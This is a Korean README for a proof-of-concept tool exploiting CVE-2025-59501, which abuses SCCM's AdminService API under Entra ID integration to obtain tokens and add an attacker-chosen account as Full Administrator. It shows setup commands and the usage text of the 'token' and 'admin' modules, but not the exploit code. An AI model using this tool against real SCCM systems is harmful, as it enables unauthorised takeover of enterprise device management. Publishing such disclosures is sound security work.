
CVE-2025-59501 POC 코드
Entra ID 통합이 활성화된 경우 SCCM의 AdminService API를 악용하여 전체 관리자(Full Administrator)로 권한을 상승시키고 SCCM 계층 구조를 장악하는 POC입니다. 자세한 내용은 이 블로그에서 확인할 수 있습니다.
git clone https://github.com/garrettfoster13/CVE-2025-59501.git
cd CVE-2025-59501/
uv sync
이 도구에는 token과 admin이라는 두 개의 모듈이 있습니다.
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py
usage: poc.py [-h] {token,admin} ...
POC to abuse CVE-2025-59501 by @unsigned_sh0rt
positional arguments:
{token,admin}
token Get AdminService access token
admin Add user as SCCM admin
options:
-h, --help show this help message and exit
token 모듈은 가장하려는 UPN을 가진 entra/AD 사용자로 액세스 토큰을 요청하는 데 사용됩니다.
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py token -h
usage: poc.py token [-h] -u USERNAME [-p PASSWORD] -c CLIENT_ID -t TENANT_ID [-s SCOPE]
options:
-h, --help show this help message and exit
-u, --username USERNAME
username
-p, --password PASSWORD
password
-c, --client-id CLIENT_ID
azure app clientid
-t, --tenant-id TENANT_ID
entra tenant ID
-s, --scope SCOPE resource URI/Scope
admin 모듈은 토큰을 사용하여 AdminService API에 인증하고 대상 사용자 계정을 SCCM 관리자로 추가합니다.
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py admin -h
usage: poc.py admin [-h] -t TARGET -u USER -s SID -a ACCESS_TOKEN
options:
-h, --help show this help message and exit
-t, --target TARGET target SMS provider FQDN or IP address
-u, --user USER Username to add as admin
-s, --sid SID New admins user's SID
-a, --access-token ACCESS_TOKEN
AdminService access token